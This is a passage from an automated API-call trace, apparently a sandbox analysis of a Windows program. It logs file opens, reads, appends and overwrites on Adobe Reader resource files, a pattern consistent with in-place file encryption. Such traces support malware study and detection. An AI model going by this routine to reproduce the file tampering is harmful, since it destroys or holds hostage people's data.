(x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\Ext-RKSJ-V" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\cmap\\ext-rksj-v")) returned 0x20 [0042.294] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\GBpc-EUC-H" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\cmap\\gbpc-euc-h"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0042.296] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\GBpc-EUC-H", nBufferLength=0x104, lpBuffer=0x318f694, lpFilePart=0x318f690 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\GBpc-EUC-H", lpFilePart=0x318f690*="GBpc-EUC-H") returned 0x41 [0042.296] GetLastError () returned 0x5 [0042.296] FormatMessageW (in: dwFlags=0x3300, lpSource=0x0, dwMessageId=0x5, dwLanguageId=0x0, lpBuffer=0x318f8a4, nSize=0x0, Arguments=0x0 | out: lpBuffer="떨p̘폈H̘퐔H̘L̘ꢸǦ\x01") returned 0x13 [0042.296] LocalFree (hMem=0x70b5a8) returned 0x0 [0042.296] LoadStringW (in: hInstance=0x400000, uID=0xff84, lpBuffer=0x318d860, cchBufferMax=4096 | out: lpBuffer="Cannot open file \"%s\". %s") returned 0x19 [0042.296] RaiseException (dwExceptionCode=0xeedfade, dwExceptionFlags=0x1, nNumberOfArguments=0x7, lpArguments=0x318f894) [0042.296] RtlUnwind (TargetFrame=0x318f8fc, TargetIp=0x406ffc, ExceptionRecord=0x318f378, ReturnValue=0x0) [0042.297] RtlUnwind (TargetFrame=0x318f920, TargetIp=0x407184, ExceptionRecord=0x318f378, ReturnValue=0x0) [0042.297] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\GBpc-EUC-H" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\cmap\\gbpc-euc-h")) returned 0x20 [0042.297] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\HKdlb-B5-V" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\cmap\\hkdlb-b5-v"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0042.297] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\HKdlb-B5-V", nBufferLength=0x104, lpBuffer=0x318f694, lpFilePart=0x318f690 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\HKdlb-B5-V", lpFilePart=0x318f690*="HKdlb-B5-V") returned 0x41 [0042.297] GetLastError () returned 0x5 [0042.297] FormatMessageW (in: dwFlags=0x3300, lpSource=0x0, dwMessageId=0x5, dwLanguageId=0x0, lpBuffer=0x318f8a4, nSize=0x0, Arguments=0x0 | out: lpBuffer="떨p̘폈H̘퐔H̘L̘ꢸǦ\x01") returned 0x13 [0042.297] LocalFree (hMem=0x70b5a8) returned 0x0 [0042.297] LoadStringW (in: hInstance=0x400000, uID=0xff84, lpBuffer=0x318d860, cchBufferMax=4096 | out: lpBuffer="Cannot open file \"%s\". %s") returned 0x19 [0042.297] RaiseException (dwExceptionCode=0xeedfade, dwExceptionFlags=0x1, nNumberOfArguments=0x7, lpArguments=0x318f894) [0042.297] RtlUnwind (TargetFrame=0x318f8fc, TargetIp=0x406ffc, ExceptionRecord=0x318f378, ReturnValue=0x0) [0042.297] RtlUnwind (TargetFrame=0x318f920, TargetIp=0x407184, ExceptionRecord=0x318f378, ReturnValue=0x0) [0042.297] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\HKdlb-B5-V" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\cmap\\hkdlb-b5-v")) returned 0x20 [0042.298] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\Identity-V" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\cmap\\identity-v"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0042.298] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\Identity-V", nBufferLength=0x104, lpBuffer=0x318f694, lpFilePart=0x318f690 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\Identity-V", lpFilePart=0x318f690*="Identity-V") returned 0x41 [0042.298] GetLastError () returned 0x5 [0042.298] FormatMessageW (in: dwFlags=0x3300, lpSource=0x0, dwMessageId=0x5, dwLanguageId=0x0, lpBuffer=0x318f8a4, nSize=0x0, Arguments=0x0 | out: lpBuffer="떨p̘폈H̘퐔H̘L̘ꢸǦ\x01") returned 0x13 [0042.298] LocalFree (hMem=0x70b5a8) returned 0x0 [0042.298] LoadStringW (in: hInstance=0x400000, uID=0xff84, lpBuffer=0x318d860, cchBufferMax=4096 | out: lpBuffer="Cannot open file \"%s\". %s") returned 0x19 [0042.298] RaiseException (dwExceptionCode=0xeedfade, dwExceptionFlags=0x1, nNumberOfArguments=0x7, lpArguments=0x318f894) [0042.298] RtlUnwind (TargetFrame=0x318f8fc, TargetIp=0x406ffc, ExceptionRecord=0x318f378, ReturnValue=0x0) [0042.298] RtlUnwind (TargetFrame=0x318f920, TargetIp=0x407184, ExceptionRecord=0x318f378, ReturnValue=0x0) [0042.298] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\Identity-V" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\cmap\\identity-v")) returned 0x20 [0042.298] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\KSCpc-EUC-UCS2C" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\cmap\\kscpc-euc-ucs2c"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0042.299] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\KSCpc-EUC-UCS2C", nBufferLength=0x104, lpBuffer=0x318f694, lpFilePart=0x318f690 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\KSCpc-EUC-UCS2C", lpFilePart=0x318f690*="KSCpc-EUC-UCS2C") returned 0x46 [0042.299] GetLastError () returned 0x5 [0042.299] FormatMessageW (in: dwFlags=0x3300, lpSource=0x0, dwMessageId=0x5, dwLanguageId=0x0, lpBuffer=0x318f8a4, nSize=0x0, Arguments=0x0 | out: lpBuffer="떨p̘폈H̘퐔H̘L̘ꢸǦ\x01") returned 0x13 [0042.299] LocalFree (hMem=0x70b5a8) returned 0x0 [0042.299] LoadStringW (in: hInstance=0x400000, uID=0xff84, lpBuffer=0x318d860, cchBufferMax=4096 | out: lpBuffer="Cannot open file \"%s\". %s") returned 0x19 [0042.299] RaiseException (dwExceptionCode=0xeedfade, dwExceptionFlags=0x1, nNumberOfArguments=0x7, lpArguments=0x318f894) [0042.299] RtlUnwind (TargetFrame=0x318f8fc, TargetIp=0x406ffc, ExceptionRecord=0x318f378, ReturnValue=0x0) [0042.299] RtlUnwind (TargetFrame=0x318f920, TargetIp=0x407184, ExceptionRecord=0x318f378, ReturnValue=0x0) [0042.299] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\KSCpc-EUC-UCS2C" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\cmap\\kscpc-euc-ucs2c")) returned 0x20 [0042.299] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\UniCNS-UCS2-V" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\cmap\\unicns-ucs2-v"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0042.299] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\UniCNS-UCS2-V", nBufferLength=0x104, lpBuffer=0x318f694, lpFilePart=0x318f690 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\UniCNS-UCS2-V", lpFilePart=0x318f690*="UniCNS-UCS2-V") returned 0x44 [0042.299] GetLastError () returned 0x5 [0042.299] FormatMessageW (in: dwFlags=0x3300, lpSource=0x0, dwMessageId=0x5, dwLanguageId=0x0, lpBuffer=0x318f8a4, nSize=0x0, Arguments=0x0 | out: lpBuffer="떨p̘폈H̘퐔H̘L̘ꢸǦ\x01") returned 0x13 [0042.299] LocalFree (hMem=0x70b5a8) returned 0x0 [0042.299] LoadStringW (in: hInstance=0x400000, uID=0xff84, lpBuffer=0x318d860, cchBufferMax=4096 | out: lpBuffer="Cannot open file \"%s\". %s") returned 0x19 [0042.299] RaiseException (dwExceptionCode=0xeedfade, dwExceptionFlags=0x1, nNumberOfArguments=0x7, lpArguments=0x318f894) [0042.300] RtlUnwind (TargetFrame=0x318f8fc, TargetIp=0x406ffc, ExceptionRecord=0x318f378, ReturnValue=0x0) [0042.300] RtlUnwind (TargetFrame=0x318f920, TargetIp=0x407184, ExceptionRecord=0x318f378, ReturnValue=0x0) [0042.300] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\UniCNS-UCS2-V" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\cmap\\unicns-ucs2-v")) returned 0x20 [0042.300] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\UniJIS-UCS2-V" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\cmap\\unijis-ucs2-v"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0042.300] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\UniJIS-UCS2-V", nBufferLength=0x104, lpBuffer=0x318f694, lpFilePart=0x318f690 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\UniJIS-UCS2-V", lpFilePart=0x318f690*="UniJIS-UCS2-V") returned 0x44 [0042.300] GetLastError () returned 0x5 [0042.300] FormatMessageW (in: dwFlags=0x3300, lpSource=0x0, dwMessageId=0x5, dwLanguageId=0x0, lpBuffer=0x318f8a4, nSize=0x0, Arguments=0x0 | out: lpBuffer="떨p̘폈H̘퐔H̘L̘ꢸǦ\x01") returned 0x13 [0042.300] LocalFree (hMem=0x70b5a8) returned 0x0 [0042.300] LoadStringW (in: hInstance=0x400000, uID=0xff84, lpBuffer=0x318d860, cchBufferMax=4096 | out: lpBuffer="Cannot open file \"%s\". %s") returned 0x19 [0042.300] RaiseException (dwExceptionCode=0xeedfade, dwExceptionFlags=0x1, nNumberOfArguments=0x7, lpArguments=0x318f894) [0042.300] RtlUnwind (TargetFrame=0x318f8fc, TargetIp=0x406ffc, ExceptionRecord=0x318f378, ReturnValue=0x0) [0042.300] RtlUnwind (TargetFrame=0x318f920, TargetIp=0x407184, ExceptionRecord=0x318f378, ReturnValue=0x0) [0042.300] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\UniJIS-UCS2-V" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\cmap\\unijis-ucs2-v")) returned 0x20 [0042.301] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Font\\AdobeArabic-Bold.otf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\font\\adobearabic-bold.otf"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1d4 [0042.683] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x318f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x318f8c0*=0) returned 0x0 [0042.683] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x318f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x318f8c0*=0) returned 0x37e7c [0042.683] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x318f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x318f8c0*=0) returned 0x0 [0042.683] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0042.683] ReleaseMutex (hMutex=0x128) returned 1 [0042.683] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="AdobeArabic-Bold.otf", cchWideChar=20, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 20 [0042.684] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="AdobeArabic-Bold.otf", cchWideChar=20, lpMultiByteStr=0x1e786cc, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="AdobeArabic-Bold.otf", lpUsedDefaultChar=0x0) returned 20 [0042.687] ReadFile (in: hFile=0x1d4, lpBuffer=0x3a45df8, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0x318f278, lpOverlapped=0x0 | out: lpBuffer=0x3a45df8*, lpNumberOfBytesRead=0x318f278*=0x8000, lpOverlapped=0x0) returned 1 [0042.697] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x318f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x318f2e8*=0) returned 0x36e7c [0042.697] ReadFile (in: hFile=0x1d4, lpBuffer=0x25c7ed8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x318f278, lpOverlapped=0x0 | out: lpBuffer=0x25c7ed8*, lpNumberOfBytesRead=0x318f278*=0x1000, lpOverlapped=0x0) returned 1 [0042.700] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x318f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x318f2e8*=0) returned 0x36e7c [0042.702] WriteFile (in: hFile=0x1d4, lpBuffer=0x25c7ed8*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x318f28c, lpOverlapped=0x0 | out: lpBuffer=0x25c7ed8*, lpNumberOfBytesWritten=0x318f28c*=0x1588, lpOverlapped=0x0) returned 1 [0042.702] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x318f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x318f2bc*=0) returned 0x0 [0042.703] WriteFile (in: hFile=0x1d4, lpBuffer=0x1da3ea8*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0x318f28c, lpOverlapped=0x0 | out: lpBuffer=0x1da3ea8*, lpNumberOfBytesWritten=0x318f28c*=0x8000, lpOverlapped=0x0) returned 1 [0042.703] CloseHandle (hObject=0x1d4) returned 1 [0042.703] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Font\\AdobeThai-BoldItalic.otf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\font\\adobethai-bolditalic.otf"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1d4 [0042.703] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x318f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x318f8c0*=0) returned 0x0 [0042.703] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x318f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x318f8c0*=0) returned 0x112a4 [0042.703] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x318f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x318f8c0*=0) returned 0x0 [0042.703] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0042.703] ReleaseMutex (hMutex=0x128) returned 1 [0042.704] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="AdobeThai-BoldItalic.otf", cchWideChar=24, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 24 [0042.704] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="AdobeThai-BoldItalic.otf", cchWideChar=24, lpMultiByteStr=0x1e7fd2c, cbMultiByte=24, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="AdobeThai-BoldItalic.otf", lpUsedDefaultChar=0x0) returned 24 [0042.704] ReadFile (in: hFile=0x1d4, lpBuffer=0x2763ff8, nNumberOfBytesToRead=0x4000, lpNumberOfBytesRead=0x318f278, lpOverlapped=0x0 | out: lpBuffer=0x2763ff8*, lpNumberOfBytesRead=0x318f278*=0x4000, lpOverlapped=0x0) returned 1 [0042.707] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x318f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x318f2e8*=0) returned 0x102a4 [0042.707] ReadFile (in: hFile=0x1d4, lpBuffer=0x2763ff8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x318f278, lpOverlapped=0x0 | out: lpBuffer=0x2763ff8*, lpNumberOfBytesRead=0x318f278*=0x1000, lpOverlapped=0x0) returned 1 [0042.710] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x318f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x318f2e8*=0) returned 0x102a4 [0042.710] WriteFile (in: hFile=0x1d4, lpBuffer=0x25c7ed8*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x318f28c, lpOverlapped=0x0 | out: lpBuffer=0x25c7ed8*, lpNumberOfBytesWritten=0x318f28c*=0x1588, lpOverlapped=0x0) returned 1 [0042.710] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x318f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x318f2bc*=0) returned 0x0 [0042.710] WriteFile (in: hFile=0x1d4, lpBuffer=0x2763ff8*, nNumberOfBytesToWrite=0x4000, lpNumberOfBytesWritten=0x318f28c, lpOverlapped=0x0 | out: lpBuffer=0x2763ff8*, lpNumberOfBytesWritten=0x318f28c*=0x4000, lpOverlapped=0x0) returned 1 [0042.710] CloseHandle (hObject=0x1d4) returned 1 [0042.710] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Font\\MinionPro-Regular.otf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\font\\minionpro-regular.otf"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1d4 [0042.711] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x318f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x318f8c0*=0) returned 0x0 [0042.711] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x318f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x318f8c0*=0) returned 0x38790 [0042.711] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x318f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x318f8c0*=0) returned 0x0 [0042.711] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0042.711] ReleaseMutex (hMutex=0x128) returned 1 [0042.711] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="MinionPro-Regular.otf", cchWideChar=21, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 21 [0042.711] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="MinionPro-Regular.otf", cchWideChar=21, lpMultiByteStr=0x1e786cc, cbMultiByte=21, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MinionPro-Regular.otf", lpUsedDefaultChar=0x0) returned 21 [0042.711] ReadFile (in: hFile=0x1d4, lpBuffer=0x3a45df8, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0x318f278, lpOverlapped=0x0 | out: lpBuffer=0x3a45df8*, lpNumberOfBytesRead=0x318f278*=0x8000, lpOverlapped=0x0) returned 1 [0042.714] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x318f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x318f2e8*=0) returned 0x37790 [0042.714] ReadFile (in: hFile=0x1d4, lpBuffer=0x2736c38, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x318f278, lpOverlapped=0x0 | out: lpBuffer=0x2736c38*, lpNumberOfBytesRead=0x318f278*=0x1000, lpOverlapped=0x0) returned 1 [0042.715] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x318f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x318f2e8*=0) returned 0x37790 [0042.715] WriteFile (in: hFile=0x1d4, lpBuffer=0x25c7ed8*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x318f28c, lpOverlapped=0x0 | out: lpBuffer=0x25c7ed8*, lpNumberOfBytesWritten=0x318f28c*=0x1588, lpOverlapped=0x0) returned 1 [0042.716] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x318f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x318f2bc*=0) returned 0x0 [0042.716] WriteFile (in: hFile=0x1d4, lpBuffer=0x1da3ea8*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0x318f28c, lpOverlapped=0x0 | out: lpBuffer=0x1da3ea8*, lpNumberOfBytesWritten=0x318f28c*=0x8000, lpOverlapped=0x0) returned 1 [0042.716] CloseHandle (hObject=0x1d4) returned 1 [0042.716] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Font\\ZY______.PFB" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\font\\zy______.pfb"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1d4 [0042.716] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x318f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x318f8c0*=0) returned 0x0 [0042.716] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x318f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x318f8c0*=0) returned 0x178a2 [0042.716] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x318f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x318f8c0*=0) returned 0x0 [0042.716] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0042.717] ReleaseMutex (hMutex=0x128) returned 1 [0042.717] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="ZY______.PFB", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0042.717] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="ZY______.PFB", cchWideChar=12, lpMultiByteStr=0x1e633ac, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ZY______.PFB", lpUsedDefaultChar=0x0) returned 12 [0042.717] ReadFile (in: hFile=0x1d4, lpBuffer=0x271c048, nNumberOfBytesToRead=0x4000, lpNumberOfBytesRead=0x318f278, lpOverlapped=0x0 | out: lpBuffer=0x271c048*, lpNumberOfBytesRead=0x318f278*=0x4000, lpOverlapped=0x0) returned 1 [0042.719] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x318f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x318f2e8*=0) returned 0x168a2 [0042.719] ReadFile (in: hFile=0x1d4, lpBuffer=0x25c7ed8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x318f278, lpOverlapped=0x0 | out: lpBuffer=0x25c7ed8*, lpNumberOfBytesRead=0x318f278*=0x1000, lpOverlapped=0x0) returned 1 [0042.722] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x318f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x318f2e8*=0) returned 0x168a2 [0042.722] WriteFile (in: hFile=0x1d4, lpBuffer=0x25c7ed8*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x318f28c, lpOverlapped=0x0 | out: lpBuffer=0x25c7ed8*, lpNumberOfBytesWritten=0x318f28c*=0x1588, lpOverlapped=0x0) returned 1 [0042.722] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x318f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x318f2bc*=0) returned 0x0 [0042.722] WriteFile (in: hFile=0x1d4, lpBuffer=0x2763ff8*, nNumberOfBytesToWrite=0x4000, lpNumberOfBytesWritten=0x318f28c, lpOverlapped=0x0 | out: lpBuffer=0x2763ff8*, lpNumberOfBytesWritten=0x318f28c*=0x4000, lpOverlapped=0x0) returned 1 [0042.722] CloseHandle (hObject=0x1d4) returned 1 [0042.723] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.ar_LB.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.ar_lb.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1d4 [0042.723] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x318f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x318f8c0*=0) returned 0x0 [0042.723] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x318f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x318f8c0*=0) returned 0x6c96 [0042.723] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x318f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x318f8c0*=0) returned 0x0 [0042.723] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0042.723] ReleaseMutex (hMutex=0x128) returned 1 [0042.723] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DisplayLanguageNames.ar_LB.txt", cchWideChar=30, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 30 [0042.723] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DisplayLanguageNames.ar_LB.txt", cchWideChar=30, lpMultiByteStr=0x1e7fd2c, cbMultiByte=30, lpDefaultChar=0x0, 